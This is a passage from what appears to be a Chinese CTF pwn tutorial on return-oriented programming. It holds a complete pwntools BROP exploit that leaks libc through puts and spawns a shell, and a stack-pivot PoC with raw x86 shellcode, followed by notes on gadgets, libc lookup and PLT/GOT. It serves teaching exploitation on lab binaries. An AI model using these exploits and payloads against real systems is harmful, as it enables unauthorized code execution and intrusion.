132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#coding=utf-8
from pwn import *
from LibcSearcher import *

sh = remote('127.0.0.1', 9999)

#sh = process('./brop')

# context.log_level = 'debug'


def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i * 'a')
output = sh.recv()
sh.close()
if not output.startswith('No password'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i - 1


def get_stop_addr(length):
addr = 0x400000
while 1:
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr)
sh.sendline(payload)
content = sh.recv()
print content
sh.close()
print 'one success stop gadget addr: 0x%x' % (addr)
except Exception:
addr += 1
sh.close()


def csu_gadget(csu_last, csu_middle, saved_addr, arg1=0x0, arg2=0x0, arg3=0x0):
payload = p64(csu_last) # pop rbx,rbp,r12,r13,r14,r15, ret
payload += p64(0x0) # rbx be 0x0
payload += p64(0x1) # rbp be 0x1
payload += p64(saved_addr) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(csu_middle) # will call [rbx + r12 * 0x8]
payload += 'A' * 56 # junk
return payload


def get_brop_gadget(length, stop_gadget, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
stop_gadget) + p64(0) * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
# stop gadget returns memory
if not content.startswith('WelCome'):
return False
return True
except Exception:
sh.close()
return False


def check_brop_gadget(length, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True


def find_brop_gadget(length, stop_gadget):
addr = 0x400740
while 1:
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
return addr
addr += 1


def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1


def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\nWelCome")]
except Exception:
data = data
if data == "":
data = '\x00'
return data
except Exception:
sh.close()
return None


def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
addr = 0x400000
result = ""
while addr < 0x401000:
print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)


# length = getbufferflow_length()
length = 72
# stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
# brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
# puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
# leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018

sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

0x40 高级ROP

0x41 ret2_dl_runtime_resolve


0x50 花式ROP

0x51 stack pivoting

① 使用原理

Stack pivoting 劫持栈指针, 目的是将栈劫持到攻击者能够控制的内存上去, 再做ROP. 原理如下:

Stack Pivoting原理
Stack Pivoting原理

)

② 使用情景

  1. 可以控制的栈溢出字节数较少, 难以构造较长的ROP链(例如: 在fgets()read()函数中添加了长度限制, 只能溢出很少字节)
  2. 开启了PIE(Position-Independent Executable), 无法获得栈地址. 此时就可以通过Stack pivot将栈劫持到能够控制的已知区域.
  3. 其他漏洞难以利用, stack pivot能够使得一些非栈溢出漏洞变成栈溢出漏洞.(例如: 将程序劫持到heap空间中)

③ 使用要求

  1. 可以控制程序执行流: 可控内存, 位置已知, 有读写权. (例如: bss段, 至少还有4k[内存按页分配], 有读写权限; heap空间: 需要泄露堆地址)

  2. 可以控制rsp(esp)指针. (例如: libc_csu_init中的gadgets, 我们通过偏移即可控制rsp指针pop rsp, 因为在x64系统中, 是通过寄存器来传参的)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    gef➤  x/7i 0x000000000040061a
    0x40061a <__libc_csu_init+90>: pop rbx
    0x40061b <__libc_csu_init+91>: pop rbp
    0x40061c <__libc_csu_init+92>: pop r12
    0x40061e <__libc_csu_init+94>: pop r13
    0x400620 <__libc_csu_init+96>: pop r14
    0x400622 <__libc_csu_init+98>: pop r15
    0x400624 <__libc_csu_init+100>: ret
    gef➤ x/7i 0x000000000040061d
    0x40061d <__libc_csu_init+93>: pop rsp
    0x40061e <__libc_csu_init+94>: pop r13
    0x400620 <__libc_csu_init+96>: pop r14
    0x400622 <__libc_csu_init+98>: pop r15
    0x400624 <__libc_csu_init+100>: ret

④ 使用例题

  1. 先查看保护:

    1
    2
    3
    4
    5
    6
    7
    8
    ➜  fancyROP checksec b0verfl0w
    [*] '/home/ks/ctf/pwn/stack/demo/fancyROP/b0verfl0w'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX disabled
    PIE: No PIE (0x8048000)
    RWX: Has RWX segments
  2. 再反汇编找到漏洞函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    signed int vul()
    {
    char s; // [esp+18h] [ebp-20h]

    puts("\n======================");
    puts("\nWelcome to X-CTF 2016!");
    puts("\n======================");
    puts("What's your name?");
    fflush(stdout);
    fgets(&s, 50, stdin);
    printf("Hello %s.", &s);
    fflush(stdout);
    return 1;
    }

    上面可以看到, 能够溢出的字节数有: 50 - 0x20 - 4 = 14个字节, 很难执行一段较长的ROP, 这时就需要利用Stack pivot来控制esp. 由于堆栈保护都关了, 所以我们直接在栈上布置shellcode即可.

  3. 寻找gadgets:

    1
    2
    3
    4
    5
    6
    7
    8
    ➜  fancyROP ROPgadget --binary b0verfl0w --only 'jmp|ret'
    Gadgets information
    ============================================================
    0x08048504 : jmp esp
    0x0804836a : ret
    0x0804847e : ret 0xeac1

    Unique gadgets found: 3
  4. payload格式如下:

    1
    sys_shellcode|pedding|fake ebp|0x08048504|set esp point shell code and jmp esp
  5. poc:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #coding=utf-8
    #!/usr/bin

    from pwn import *

    shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
    shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
    shellcode_x86 += "\x0b\xcd\x80"

    print disasm(shellcode_x86)

    sh = process('./b0verfl0w')
    # sys_shellcode = asm(shellcraft.sh())
    # print disasm(sys_shellcode)
    jmp_esp_addr = 0x08048504
    sub_and_jmp_esp = asm('sub esp, 0x28;jmp esp')
    payload = shellcode_x86.ljust(0x24,'a') + p32(jmp_esp_addr) + sub_and_jmp_esp
    sh.sendline(payload)
    sh.interactive()

0x52 frame faking

相关链接

  1. libc符号偏移查询站: http://libcdb.com/
  2. libc符号偏移查询站: https://libc.blukat.me/
  3. 虚线画图在线工具: http://asciiflow.com/
  4. libc github在线数据库: https://github.com/niklasb/libc-database
  5. Linux程序常用保护机制: https://introspelliam.github.io/2017/09/30/linux%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%B8%B8%E7%94%A8%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6/
  6. Stack Pivot: http://tacxingxing.com/2017/05/10/stack-pivot/
  7. PIE && ALSR && Bypass: http://tacxingxing.com/2017/07/15/pie-alsr/
  8. Linux可执行文件之PLT&GOT: http://www.ifuryst.com/archives/Linux-PLT-GOT.html

小记

1. lea指令

lea, load effective address, 加载有效地址. 指令形式是从存储器读数据到寄存器, 效果是将存储器的有效地址写入到目的操作数, 简单说, 就是C语言中的”&”.

2. 查看libc版本

1
2
3
4
5
ldd --version
getconf GNU_LIBC_VERSION
ls -l /lib/x86_64-linux-gnu/libc.so.6
ls -l /lib/i386-linux-gnu/libc.so.6
apt-cache show libc6

有 flush 函数,那就一定有 sh.

3. Linux动态链接之PLT&GOT

链接过程无法修改编译过程生成的汇编指令, 那如何重定位?

  • 需要存放外部函数的数据段
  • 获取数据段存放函数地址的一小段额外代码

链接器生成一段额外的小代码片段,通过这段代码支获取printf函数地址,并完成对它的调用。

链接器生成额外的伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text
...

// 调用printf的call指令
call printf_stub
...

printf_stub:
mov rax, [printf函数的储存地址] // 获取printf重定位之后的地址
jmp rax // 跳过去执行printf函数

.data
...
printf函数的储存地址:
  这里储存printf函数重定位后的地址

如果可执行文件中调用多个动态库函数,那每个函数都需要这两样东西,这样每样东西就形成一个表,每个函数使用中的一项。

总不能每次都叫这个表那个表,于是得正名。存放函数地址的数据表,称为全局偏移表(GOT, Global Offset Table),而那个额外代码段表,称为程序链接表(PLT,Procedure Link Table)。它们两姐妹各司其职,联合出手上演这一出运行时重定位好戏。

那么PLT和GOT长得什么样子呢?前面已有一些说明,下面以一个例子和简单的示意图来说明PLT/GOT是如何运行的。

假设最开始的示例代码test.c增加一个write_file函数,在该函数里面调用glibc的write实现写文件操作。根据前面讨论的PLT和GOT原理,test在运行过程中,调用方(如print_banner和write_file)是如何通过PLT和GOT穿针引线之后,最终调用到glibc的printf和write函数的?

got&plt关系
got&plt关系

)

文章目录
  1. 1. 0x10 背景知识
    1. 1.1. 0X11 寄存器介绍
    2. 1.2. 0x12 进程内存布局
  2. 2. 0x20 基础ROP
    1. 2.1. 0x21 ret2text
    2. 2.2. 0x22 ret2shellcode
    3. 2.3. 0x23 ret2syscall
    4. 2.4. 0x24 ret2libc
      1. 2.4.1. ① 存在system函数及/bin/sh情况
      2. 2.4.2. ② 只存在system函数的情况
      3. 2.4.3. ③ system函数和/bin/sh都不存在的情况
        1. 2.4.3.1. ※ ret2libc漏洞利用的基本思路
  3. 3. 0x30 中级ROP
    1. 3.1. 0x31 ret2csu
      1. 3.1.1. ① 使用原理
      2. 3.1.2. ② 使用情形
      3. 3.1.3. ③ 使用例题
    2. 3.2. 0x32 ret2reg
      1. 3.2.1. ① 使用原理
      2. 3.2.2. ② 使用步骤
      3. 3.2.3. ③ 参考链接
    3. 3.3. 0x33 BROP
      1. 3.3.1. ① 使用原理
      2. 3.3.2. ② 使用步骤
      3. 3.3.3. ③ 使用例子
  4. 4. 0x40 高级ROP
    1. 4.1. 0x41 ret2_dl_runtime_resolve
  5. 5. 0x50 花式ROP
    1. 5.1. 0x51 stack pivoting
      1. 5.1.1. ① 使用原理
      2. 5.1.2. ② 使用情景
      3. 5.1.3. ③ 使用要求
      4. 5.1.4. ④ 使用例题
    2. 5.2. 0x52 frame faking
  6. 6. 相关链接
  7. 7. 小记
    1. 7.1. 1. lea指令
    2. 7.2. 2. 查看libc版本
    3. 7.3. 3. Linux动态链接之PLT&GOT
,